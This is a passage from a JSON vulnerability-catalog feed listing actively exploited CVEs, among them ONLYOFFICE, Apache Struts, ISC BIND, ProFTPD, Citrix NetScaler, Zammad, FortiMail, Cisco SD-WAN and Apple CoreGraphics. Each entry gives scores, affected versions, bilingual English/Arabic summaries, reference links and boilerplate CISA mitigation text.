guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA في الوثيقة BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر، ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على عاتق الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"strapi"},{"id":"CVE-2021-3199","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-08T00:00:00Z","product":"ONLYOFFICE Docs","affected":[],"title":{"en":"ONLYOFFICE Docs Server Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في خادم ONLYOFFICE Docs"},"summary":{"en":"ONLYOFFICE Docs contains a path traversal vulnerability that can occur when JWT is used, via a /.. sequence in an image upload parameter and could allow for remote code execution.","ar":"يحتوي ONLYOFFICE Docs على ثغرة اجتياز المسار التي يمكن أن تحدث عند استخدام JWT، عبر تسلسل /.. في معلمة رفع الصور وقد تسمح بتنفيذ أوامر عن بُعد."},"refs":[["https://github.com/ONLYOFFICE/DocumentServer/blob/903fe5ab7a275bd69c3c3346af2d21cf87ebeabf/CHANGELOG.md#563","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2021-3199","advisory"],["https://github.com/nola-milkin/poc_exploits/blob/master/CVE-2021-3199/poc_uploadImageFile.py","ref"],["https://github.com/moehw/poc_exploits/tree/master/CVE-2021-3199/poc_uploadImageFile.py","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-3199","ref"]],"epss":0.3024,"kevAdded":"2026-10-08T00:00:00Z","kevDue":"2026-10-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA في الوثيقة BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر، ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على عاتق الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"onlyoffice-docs"},{"id":"CVE-2016-3081","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-08T00:00:00Z","product":"Apache Struts","affected":[],"title":{"en":"Apache Struts Command Injection Vulnerability","ar":"ثغرة حقن أوامر في Apache Struts"},"summary":{"en":"Apache Struts contains a command injection vulnerability that could allow remote attackers to execute arbitrary code via method:prefix when Dynamic Method Invocation is enabled.","ar":"يحتوي Apache Struts على ثغرة حقن أوامر قد تسمح للمهاجمين عن بُعد تنفيذ شيفرة عشوائية عبر method:prefix عند تمكين استدعاء الطرق الديناميكية Dynamic Method Invocation."},"refs":[["https://cwiki.apache.org/confluence/display/WW/S2-032","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2016-3081","advisory"],["https://struts.apache.org/docs/s2-032.html","ref"],["https://www.exploit-db.com/exploits/39756/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-3081","ref"]],"epss":0.9653,"kevAdded":"2026-10-08T00:00:00Z","kevDue":"2026-10-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"apache-struts"},{"id":"CVE-2015-5477","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-617","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-08T00:00:00Z","product":"ISC BIND","affected":[[" – <12.1","12.1"],["13.1 – <13.2","13.2"],[" – <9.8.18","9.8.18"],["9.1.0 – <9.9.7","9.9.7"],["9.10.0 – <9.10.2","9.10.2"]],"title":{"en":"ISC BIND Data Processing Errors Vulnerability","ar":"ثغرة أخطاء معالجة البيانات في ISC BIND"},"summary":{"en":"ISC BIND contains a data processing errors vulnerability that could allow remote attackers to cause a denial of service via TKEY queries.","ar":"يحتوي ISC BIND على ثغرة أخطاء في معالجة البيانات قد تسمح للمهاجمين عن بُعد بالتسبب في حجب الخدمة عبر استعلامات TKEY."},"refs":[["https://kb.isc.org/article/AA-01272","patch"],["https://web.archive.org/web/20150729014733/https://kb.isc.org/article/AA-01272","advisory"],["https://access.redhat.com/errata/RHSA-2015:1513.html","advisory"],["https://supportportal.juniper.net/s/article/2016-01-Security-Bulletin-Junos-Vulnerability-in-ISC-BIND-named-CVE-2015-5477","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2015-5477","advisory"],["https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04789415","advisory"],["https://kb.juniper.net/JSA10783","advisory"],["https://security.netapp.com/advisory/ntap-20160114-0001/","advisory"],["https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05095918","advisory"],["https://support.apple.com/kb/HT205032","advisory"]],"epss":0.9958,"kevAdded":"2026-10-08T00:00:00Z","kevDue":"2026-10-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"isc-bind"},{"id":"CVE-2015-3306","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-08T00:00:00Z","product":"ProFTPD ProFTPD","affected":[],"title":{"en":"ProFTPD Improper Access Control Vulnerability","ar":"ثغرة التحكم غير السليم في الوصول لـ ProFTPD"},"summary":{"en":"ProFTPD contains an improper access control vulnerability that could allow remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.","ar":"يحتوي ProFTPD على ثغرة تحكم غير سليم في الوصول قد تسمح للمهاجمين عن بُعد بقراءة والكتابة إلى ملفات عشوائية عبر الأوامر site cpfr وsite cpto."},"refs":[["https://lists.debian.org/debian-security-announce/2015/msg00154.html","advisory"],["https://lists.opensuse.org/archives/list/updates@lists.opensuse.org/message/WE6YZRG5UVXMGQ7IVDRYBPIWV4M6UUGM/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2015-3306","advisory"],["https://www.exploit-db.com/exploits/36803/","ref"],["https://www.exploit-db.com/exploits/36742/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2015-3306","ref"]],"epss":0.995,"kevAdded":"2026-10-08T00:00:00Z","kevDue":"2026-10-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"proftpd"},{"id":"CVE-2026-88779","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-119","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-04T02:35:35Z","product":"Citrix NetScaler","affected":[["0 – <14.1-73.41","14.1-73.41"],["0 – <13.1-64.28","13.1-64.28"],["0 – <13.1-37.282","13.1-37.282"]],"title":{"en":"Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability","ar":"ثغرة تقييد العمليات غير السليم داخل حدود مخزن مؤقت للذاكرة في Citrix NetScaler"},"summary":{"en":"Citrix NetScaler ADC (formerly Citrix ADC) and Citrix NetScaler Gateway (formerly Citrix Gateway) contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for a denial of service.","ar":"يحتوي منتج Citrix NetScaler ADC (المعروف سابقاً باسم Citrix ADC) و Citrix NetScaler Gateway (المعروف سابقاً باسم Citrix Gateway) على ثغرة تقييد العمليات غير السليم داخل حدود مخزن مؤقت للذاكرة والتي قد تؤدي إلى حجب الخدمة."},"refs":[["https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697174","advisory"],["https://community.citrix.com/techzone-blogs/110_security-updates/understanding-and-addressing-cve-2026-88779-in-citrix-netscaler-adc-and-citrix-netscaler-gateway/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-88779","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-88779","ref"]],"epss":0.1139,"kevAdded":"2026-10-04T00:00:00Z","kevDue":"2026-10-07T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"citrix-netscaler"},{"id":"CVE-2026-102490","cvss":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/AU:Y/V:D","cwe":"CWE-269","tags":["LPE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-02T00:00:00Z","product":"Zammad GmbH Zammad","affected":[["1.5.0 – <7.2.2","7.2.2"],["<7.2.2","7.2.2"]],"title":{"en":"Zammad GmbH Zammad Improper Privilege Management Vulnerability","ar":"ثغرة إدارة الصلاحيات غير السليمة في منتج Zammad من شركة Zammad GmbH"},"summary":{"en":"Zammad GmbH Zammad contains an improper privilege management vulnerability that can allow the local zammad user to escalate privileges to root. This vulnerability can be chained with CVE-2026-102489.","ar":"يحتوي منتج Zammad من شركة Zammad GmbH على ثغرة إدارة صلاحيات غير سليمة يمكن أن تسمح لمستخدم zammad المحلي بتصعيد الصلاحيات إلى مستوى root. يمكن ربط هذه الثغرة بالثغرة CVE-2026-102489."},"refs":[["https://zammad.com/en/product/releases/","advisory"],["https://community.zammad.org/t/take-care-local-privilege-escalation-cve-2026-102490-is-reported-as-being-actively-exploited/21297/2","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-102490","advisory"],["https://csirt.divd.nl/DIVD-2026-00015","advisory"],["https://csirt.divd.nl/CVE-2026-102490","advisory"],["https://zammad.com/en/advisories/cve-2026-102489-cve-2026-102490","advisory"],["https://github.com/zammad/zammad/security/advisories/GHSA-p97w-927q-8vxq","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102490","ref"]],"epss":0.1094,"kevAdded":"2026-10-02T00:00:00Z","kevDue":"2026-10-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"zammad-gmbh-zammad"},{"id":"CVE-2026-102489","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A/AU:Y/V:C","cwe":"CWE-384","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-02T00:00:00Z","product":"Zammad GmbH Zammad","affected":[["6.3.0 – <6.5.4","6.5.4"]],"title":{"en":"Zammad GmbH Zammad Session Fixation Vulnerability","ar":"ثغرة تثبيت الجلسة في منتج Zammad من شركة Zammad GmbH"},"summary":{"en":"Zammad GmbH Zammad contains a session fixation vulnerability that can lead to remote code execution as the zammad user. This vulnerability can be chained with CVE-2026-102490.","ar":"يحتوي منتج Zammad من شركة Zammad GmbH على ثغرة تثبيت الجلسة التي يمكن أن تؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات مستخدم zammad. يمكن ربط هذه الثغرة بالثغرة CVE-2026-102490."},"refs":[["https://zammad.com/en/product/releases/","advisory"],["https://community.zammad.org/t/take-care-local-privilege-escalation-cve-2026-102490-is-reported-as-being-actively-exploited/21297/2","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-102489","advisory"],["https://csirt.divd.nl/DIVD-2026-00015","advisory"],["https://csirt.divd.nl/CVE-2026-102489","advisory"],["https://zammad.com/en/advisories/cve-2026-102489-cve-2026-102490","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102489","ref"]],"epss":0.2248,"kevAdded":"2026-10-02T00:00:00Z","kevDue":"2026-10-05T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"zammad-gmbh-zammad"},{"id":"CVE-2026-104286","cvss":9.8,"vector":null,"cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-01T19:17:38Z","product":"Fortinet FortiMail","affected":[["8.0.0 – 8.0.1",null],["7.6.0 – 7.6.6",null],["7.4.0 – 7.4.8",null],["7.2.0 – 7.2.9",null],["7.0.0 – 7.0.9",null]],"title":{"en":"Fortinet FortiMail Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في Fortinet FortiMail"},"summary":{"en":"Fortinet FortiMail contains a path traversal and an improper neutralization of NULL byte or NULL character vulnerability that may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests.","ar":"يحتوي منتج Fortinet FortiMail على ثغرة اجتياز المسار وتحييد غير سليم لبايت الخلوص (NULL byte) أو حرف الخلوص والتي قد تسمح لمهاجم غير مصدق له كتابة ملفات تعسفية على النظام الأساسي عبر طلبات HTTP أو HTTPS مصممة خصيصاً."},"refs":[["https://fortiguard.fortinet.com/psirt/FG-IR-26-175","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-104286","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-104286","ref"]],"epss":0.0457,"kevAdded":"2026-10-01T00:00:00Z","kevDue":"2026-10-04T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"fortinet-fortimail"},{"id":"CVE-2026-76504","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-177","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-30T13:04:32Z","product":"Cisco Catalyst SD-WAN Manager","affected":[["20.1.12",null],["19.2.1",null],["18.4.4",null],["18.4.5",null],["20.1.1.1",null],["20.1.1",null],["19.3.0",null],["19.2.2",null],["19.2.099",null],["18.3.6",null],["18.3.7",null],["19.2.0",null]],"title":{"en":"Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability","ar":"ثغرة ترميز النظام الستيني العشري في نظام Cisco Catalyst SD-WAN Manager"},"summary":{"en":"Cisco Catalyst SD-WAN Manager contains a hex encoding vulnerability that could allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user due to improper handling of URI encoding in an HTTP request.","ar":"يحتوي نظام Cisco Catalyst SD-WAN Manager على ثغرة ترميز ستيني عشري قد تسمح لمهاجم عن بُعد دون مصادقة بالوصول إلى نظام متأثر بصلاحيات مستخدم admin نتيجة المعالجة غير السليمة لترميز URI في طلب HTTP."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-webauth-xr8beuuU","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-76504","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76504","ref"]],"epss":0.3893,"kevAdded":"2026-09-30T00:00:00Z","kevDue":"2026-10-03T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"cisco-catalyst-sd-wan-manager"},{"id":"CVE-2026-86950","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-29T00:00:00Z","product":"Apple Multiple Products","affected":[["0 – <18.7.11","18.7.11"],["0 – <26.7.1","26.7.1"],["0 – <15.8.1","15.8.1"]],"title":{"en":"Apple Multiple Products Out-of-Bounds Write Vulnerability","ar":"ثغرة الكتابة خارج حدود الذاكرة في منتجات Apple المتعددة"},"summary":{"en":"Apple iOS, macOS, and iPadOS contain an out-of-bounds write vulnerability in CoreGraphics that may lead to arbitrary code execution.","ar":"تحتوي أنظمة iOS وmacOS وiPadOS من شركة Apple على ثغرة كتابة خارج حدود الذاكرة في مكون CoreGraphics قد تؤدي إلى تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149226","advisory"],["https://support.apple.com/en-us/149228","advisory"],["https://support.apple.com/en-us/149229","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-86950","advisory"],["https://support.apple.com/en-us/149225","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-86950","ref"]],"epss":0.2617,"kevAdded":"2026-09-29T00:00:00Z","kevDue":"2026-10-13T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"apple-multiple-products"},{"id":"CVE-2026-88772","cvss":9.5,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-119","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-27T16:09:56Z","product":"Citrix NetScaler","affected":[["0 – <14.1-73.37","14.1-73.37"],["0 – <13.1-64.23","13.1-64.23"]],"title":{"en":"Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability","ar":"ثغرة تقييد العمليات بشكل غير سليم ضمن حدود مخزن مؤقت للذاكرة في منتج Citrix NetScaler"},"summary":{"en":"Citrix NetScaler ADC and NetScaler Gateway contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for remote code execution or denial of service","ar":"يحتوي منتجا Citrix NetScaler ADC وNetScaler Gateway على ثغرة تقييد العمليات بشكل غير سليم ضمن حدود مخزن مؤقت للذاكرة والتي قد تسمح بتنفيذ أوامر عن بُعد أو حجب 